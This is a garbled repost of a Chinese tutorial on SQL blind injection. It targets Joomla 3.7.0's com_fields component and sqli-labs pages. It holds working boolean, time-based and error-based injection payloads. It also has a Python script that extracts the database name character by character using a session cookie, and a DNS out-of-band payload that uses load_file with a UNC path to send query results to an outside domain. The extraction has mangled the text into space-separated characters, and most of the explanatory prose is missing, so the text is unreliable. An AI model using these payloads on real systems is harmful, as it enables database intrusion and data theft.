[12881] 2018-06-28_浅谈SQL盲注测试方法解析与技巧

文档创建者:s7ckTeam
浏览次数:9
最后更新:2025-01-18
2018-06-28_浅谈SQL盲注测试方法解析与技巧 S Q L A K a r m A   F r e e B u f   2 0 1 8 - 0 6 - 2 8 J o o m l a !   3 . 7 . 0   -   c o m _ f i e l d s   S Q L   I n j e c t i o n p a y l o a d h t t p : / / l o c a l h o s t / J o o m l a / i n d e x . p h p ? o p t i o n = c o m _ f i e l d s & v i e w = f i e l d s & l a y o u t = m o d a l & l i s t [ f u l l o r d e r i n g ] = [ p a y l o a d ] B o o l e a n B a s e i p
l e f t ( x , y )   / /   x y a s c i i ( s u b s t r ( ( s q l ) , 1 , 1 ) ) = n u m   / /   s q l a s c i i n u m o r d ( m i d ( ( s q l ) , 1 , 1 ) ) = n u m   / /   o r d ( ) = = a s c i i ( ) r e g e x p   ^ [ a - z ]   / /   便 p y t h o n
D N S L O G #   - * -   c o d i n g : U T F - 8   - * - i m p o r t   r e q u e s t s i m p o r t   s y s #   u r l   =   ' h t t p : / / l o c a l h o s t / J o o m l a / i n d e x . p h p ? o p t i o n = c o m _ f i e l d s & v i e w = f i e l d s & l a y o u t = m o d a l & l i s t [ f u l l o r d e r i n g ] = ' s t r i n g   =   ' 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I G H L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z ' f l a g   =   ' ' c o o k i e s   =   { ' 9 e 4 4 0 2 5 3 2 6 f 9 6 e 2 d 9 d c 1 a 2 a a b 2 d b e 5 b 1 '   :   ' l 1 p 9 2 l f 4 4 g i 4 s 7 j d f 5 q 7 3 l 0 b t 5 ' } r e s p o n s e   =   r e q u e s t s . g e t ( ' h t t p : / / l o c a l h o s t / J o o m l a / i n d e x . p h p ? o p t i o n = c o m _ f i e l d s & v i e w = f i e l d s & l a y o u t = m o d a l & l i s t [ f u l l o r d e r i n g ] = ( C A S E   W H E N   ( a s c i i ( s u b s t r ( ( s e l e c t   d a t a b a s e ( ) ) , 1 , 1 ) )   >   7 8 )   T H E N   1   E L S E   ( S E L E C T   1   F R O M   D U A L   U N I O N   S E L E C T   2   F R O M   D U A L )   E N D ) ' , c o o k i e s = c o o k i e s , t i m e o u t = 2 ) p r i n t ( r e s p o n s e . t e x t ) i   =   1 w h i l e   i   < =   7 :         l e f t   =   0         r i g h t   =   l e n ( s t r i n g )   -   1         m i d   =   i n t ( ( l e f t   +   r i g h t )   /   2 )         p r i n t ( ' n ' )         p r i n t ( f l a g )         p r i n t ( ' T e s t i n g . . .   '   +   s t r ( l e f t )   +   '   '   +   s t r ( r i g h t ) )         #           i f   ( r i g h t   -   l e f t )   = =   1 :                 p a y l o a d   =   " ( C A S E   W H E N   ( a s c i i ( s u b s t r ( ( s e l e c t   d a t a b a s e ( ) ) , { 0 } , 1 ) ) > { 1 } )   T H E N   1   E L S E   ( S E L E C T   1   F R O M   D U A L   U N I O N   S E L E C T   2   F R O M   D U A L )   E N D ) " . f o r m a t ( i ,   s t r ( o r d ( s t r i n g [ l e f t ] ) ) )                 p o c   =   u r l   +   p a y l o a d                 p r i n t ( p o c )                 r e s p o n s e   =   r e q u e s t s . g e t ( p o c , c o o k i e s = c o o k i e s , t i m o u t = 2 )                 i f   ( ' ' )   i n   r e s p o n s e . t e x t :                         f l a g   =   f l a g   +   s t r i n g [ r i g h t ]                         p r i n t ( f l a g )                         e x i t ( )                 e l s e :                           f l a g   =   f l a g   +   s t r i n g [ l e f t ]                         p r i n t ( f l a g )                         e x i t ( )         #           w h i l e   1 :                 m i d   =   i n t ( ( l e f t   +   r i g h t )   /   2 )                 p a y l o a d   =   " ( C A S E   W H E N   ( a s c i i ( s u b s t r ( ( s e l e c t   d a t a b a s e ( ) ) , { 0 } , 1 ) ) > { 1 } )   T H E N   1   E L S E   ( S E L E C T   1   F R O M   D U A L   U N I O N   S E L E C T   2   F R O M   D U A L )   E N D ) " . f o r m a t ( i ,   s t r ( o r d ( s t r i n g [ m i d ] ) ) )                 p o c   =   u r l   +   p a y l o a d                 p r i n t ( p o c )                 r e s p o n s e   =   r e q u e s t s . g e t ( p o c , c o o k i e s = c o o k i e s , t i m e o u t = 2 )                 #                   i f   ( ' ' )   i n   r e s p o n s e . t e x t :                         l e f t   =   m i d   +   1                         p r i n t ( ' l e f t : ' + s t r ( l e f t ) )                 #                   e l s e :                           r i g h t   =   m i d                         p r i n t ( ' r i g h t : ' + s t r ( r i g h t ) )                 i f   ( l e f t   = =   r i g h t ) :                         f l a g   =   f l a g   +   s t r i n g [ l e f t ]                         b r e a k                 #                   i f   ( r i g h t   -   l e f t )   = =   1 :                         p a y l o a d   =   " ( C A S E   W H E N   ( a s c i i ( s u b s t r ( ( s e l e c t   d a t a b a s e ( ) ) , { 0 } , 1 ) ) > { 1 } )   T H E N   1   E L S E   ( S E L E C T   1   F R O M   D U A L   U N I O N   S E L E C T   2   F R O M   D U A L )   E N D ) " . f o r m a t ( i ,   s t r ( o r d ( s t r i n g [ l e f t ] ) ) )                         p o c   =   u r l   +   p a y l o a d                         p r i n t ( p o c )                         r e s p o n s e   =   r e q u e s t s . g e t ( p o c , c o o k i e s = c o o k i e s , t i m e o u t = 2 )                         i f   ( ' ' )   i n   r e s p o n s e . t e x t :                                 f l a g   =   f l a g   +   s t r i n g [ r i g h t ]                                 p r i n t ( f l a g )                                 b r e a k                         e l s e :                                   f l a g   =   f l a g   +   s t r i n g [ l e f t ]                                 p r i n t ( f l a g )                                 b r e a k         i   + =   1 p r i n t ( f l a g )
W i n d o w s U N C M y s q l > = 5 . 5 . 5 3 S e c u r e _ f i l e _ p r i v N U L L p a p e r d n s d n s l o g s q l U N C U N C W i n d o w s   2 0 0 0 s e r v e r n a m e s h a r e n a m e s e r v e r n a m e s h a r e n a m e U N C s e r v e r n a m e s h a r e n a m e d i r e c t o r y f i l e n a m e p a y l o a d c o n c a t t e s t . k a r m a o f . m e 1 2 3 U N C p a y l o a d : ? i d = 1 '   a n d   i f ( ( s e l e c t   l o a d _ f i l e ( c o n c a t ( ' ' , ( s e l e c t   d a t a b a s e ( ) ) , ' . k a r m a o f . m e 1 2 3 ' ) ) ) , 1 , 1 ) - - + m y s q l m y s q l > s h o w   g l o b a l   v a r i a b l e s   l i k e   ' % s e c u r e % ' ; s e c u r e _ f i l e _ p r i v n u l l s e c u r e _ f i l e _ p r i v w i n d o w s m y . i n i   [ m y s q l d ] s e c u r e _ f i l e _ p r i v   = l i n u x m y . c n f   [ m y s q l d ] s e c u r e _ f i l e _ p r i v   = M Y S Q L s e c u r e _ f i l e _ p r i v m y s q l s e c u r e _ f i l e _ p r i v
$ q u e r y m y s q l i e s c a p e d n s l o g d n s d n s s q l m a p p a y l o a d D U A L c a s e   w h e n d n s e l s e u n i o n d n s     C A S E   W H E N   : )
O B B D N S L O G :   D a t a   R e t r i e v a l   o v e r   D N S   i n   S Q L   I n j e c t i o n   A t t a c k s T i m e B a s e d o 9 g y @ s l e e p ( ) b e n c h m a r k ( ) #   C A S E   e x p r e s s i o n         W H E N   c o n d i t i o n 1   T H E N   r e s u l t 1         W H E N   c o n d i t i o n 2   T H E N   r e s u l t 2       . . .         W H E N   c o n d i t i o n N   T H E N   r e s u l t N         E L S E   r e s u l t E N D #   c a s e   w h e n   C   s w i c t h   c a s e #   m y s q l >   s e l e c t   *   f r o m   u s e r s ; + - - - - + - - - - - - - - - - + - - - - - - - - + |   i d   |   u s e r n a m e   |   p a s s w d   | + - - - - + - - - - - - - - - - + - - - - - - - - + |     1   |   a d m i n         |   a d m i n     | |     2   |   K a r m A         |   K a r m A     | + - - - - + - - - - - - - - - - + - - - - - - - - + m y s q l >   s e l e c t         - >     (   c a s e   w h e n   u s e r s . i d   =   1   t h e n   u s e r s . u s e r n a m e         - >                     w h e n   u s e r s . i d   =   2   t h e n   u s e r s . u s e r n a m e         - >     e l s e   0   e n d )   a s   u s e r n a m e 2   f r o m   u s e r s ; + - - - - - - - - - - - + |   u s e r n a m e 2   | + - - - - - - - - - - - + |   a d m i n           | |   K a r m A           | + - - - - - - - - - - - + #   #   w h e n   t h e n   t r u e m y s q l >   s e l e c t   *   f r o m   u s e r s ; + - - - - + - - - - - - - - - - + - - - - - - - - + |   i d   |   u s e r n a m e   |   p a s s w d   | + - - - - + - - - - - - - - - - + - - - - - - - - + |     1   |   a d m i n         |   a d m i n     | |     2   |   K a r m A         |   K a r m A     | + - - - - + - - - - - - - - - - + - - - - - - - - + m y s q l >   s e l e c t         - >     (   c a s e   w h e n   u s e r s . i d   =   1   t h e n   u s e r s . u s e r n a m e         - >                     w h e n   u s e r s . i d   =   2   t h e n   u s e r s . u s e r n a m e         - >     e l s e   0         - >     e n d )   a s   u s e r n a m e 2   f r o m   u s e r s ; + - - - - - - - - - - - + |   u s e r n a m e 2   | + - - - - - - - - - - - + |   a d m i n           | |   K a r m A           | + - - - - - - - - - - - + m y s q l >   s e l e c t   s l e e p ( 5 ) ; + - - - - - - - - - - + |   s l e e p ( 5 )   | + - - - - - - - - - - + |                 0   | + - - - - - - - - - - + 1   r o w   i n   s e t   ( 5 . 0 0   s e c )
使 线 X Y C a r t e s i a n   p r o d u c t X   ×   Y X Y   g e t _ l o c k ( ) ( 使   m y s q l _ p c o n n e c t ) s e s s i o n   1 s e s s i o n   2 M y S Q L   ( P W N H U B   ) E r r o r B a s e f l o o r ( ) + c o u n t ( ) + g r o u p   b y m y s q l >   s e l e c t   b e n c h m a r k ( 1 0 0 0 0 0 0 , s h a ( 1 ) ) ; + - - - - - - - - - - - - - - - - - - - - - - - - - - - + |   b e n c h m a r k ( 1 0 0 0 0 0 0 , s h a ( 1 ) )   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                                   0   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 3 9   s e c ) m y s q l >   S E L E C T   c o u n t ( * )   F R O M   i n f o r m a t i o n _ s c h e m a . c o l u m n s   A ,   i n f o r m a t i o n _ s c h e m a . c o l u m n s   B ,   i n f o r m a t i o n _ s c h e m a . t a b l e s   C ; + - - - - - - - - - - - + |   c o u n t ( * )     | + - - - - - - - - - - - + |   3 3 7 8 0 1 6 3 2   | + - - - - - - - - - - - + 1   r o w   i n   s e t   ( 6 . 1 9   s e c ) m y s q l >   s e l e c t   g e t _ l o c k ( ' k a r m a ' , 1 ) ; + - - - - - - - - - - - - - - - - - - - - - + |   g e t _ l o c k ( ' k a r m a ' , 1 )   | + - - - - - - - - - - - - - - - - - - - - - + |                                       1   | + - - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 0   s e c ) m y s q l >   s e l e c t   g e t _ l o c k ( ' k a r m a ' , 1 0 ) ; + - - - - - - - - - - - - - - - - - - - - - - + |   g e t _ l o c k ( ' k a r m a ' , 1 0 )   | + - - - - - - - - - - - - - - - - - - - - - - + |                                         0   | + - - - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 1 0 . 0 0   s e c )
e x p ( ) b i g i n t ( M y s q l   V e r s i o n   > = 5 . 4 . 4 5 ) e x t r a c t v a l u e ( ) ( M y s q l   V e r s i o n   > = 5 . 1 . 5 ) u p d a t e x m l u p d a t e x m l ( ) ( M y s q l   V e r s i o n   > = 5 . 1 . 5 ) u p d a t e x m l 3 2 s u b s t r ( ) U p d a t e X M L ( x m l _ t a r g e t ,   x p a t h _ e x p r ,   n e w _ x m l ) x m l x p a t h : ) x p t a h n a m e _ c o n s t ( ) N A M E _ C O N S T ( n a m e , v a l u e ) n a m e v a l u e p a y l o a d : h t t p : / / l o c a l h o s t / s q l i / l e s s - 5 / ? i d = 1 '   a n d ( s e l e c t   1   f r o m ( s e l e c t   c o u n t ( * ) , c o n c a t ( ( s e l e c t   ( s e l e c t   ( s e l e c t   c o n c a t ( 0 x 7 e , v e r s i o n ( ) , 0 x 7 e ) ) )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   l i m i t   0 , 1 ) , f l o o r ( r a n d ( 0 ) * 2 ) ) x   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   x ) a ) - - + p a y l o a d : h t t p : / / l o c a l h o s t / s q l i / l e s s - 1 / ? i d = 1 '   a n d   e x p ( ~ ( s e l e c t   *   f r o m   ( s e l e c t   d a t a b a s e ( )   )   a )   ) ; - - + p a y l o a d : h t t p : / / l o c a l h o s t / s q l i / l e s s - 1 / ? i d = 1 '   a n d   ! ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) x ) - ~ 0 - -   - p a y l o a d : h t t p : / / l o c a l h o s t / s q l i / l e s s - 1 / ? i d = 1 '   a n d   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   @ @ v e r s i o n ) , 0 x 7 e ) , 1 ) - - +
x E v e r y   d e r i v e d   t a b l e   m u s t   h a v e   i t s   o w n   a l i a s t a b l e E r r o r   B a s e d   S Q L   I n j e c t i o n   U s i n g   E X P B I G I N T   O v e r f l o w   E r r o r   B a s e d   S Q L   I n j e c t i o n * K a r m A @ D 0 g 3 F r e e B u f * * p a y l o a d : h t t p : / / l o c a l h o s t / s q l i / l e s s - 1 / ? i d = 1 '   u n i o n   s e l e c t   *   f r o m   ( s e l e c t   N A M E _ C O N S T ( v e r s i o n ( ) , 1 ) , N A M E _ C O N S T ( v e r s i o n ( ) , 1 ) ) x ; - - +

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则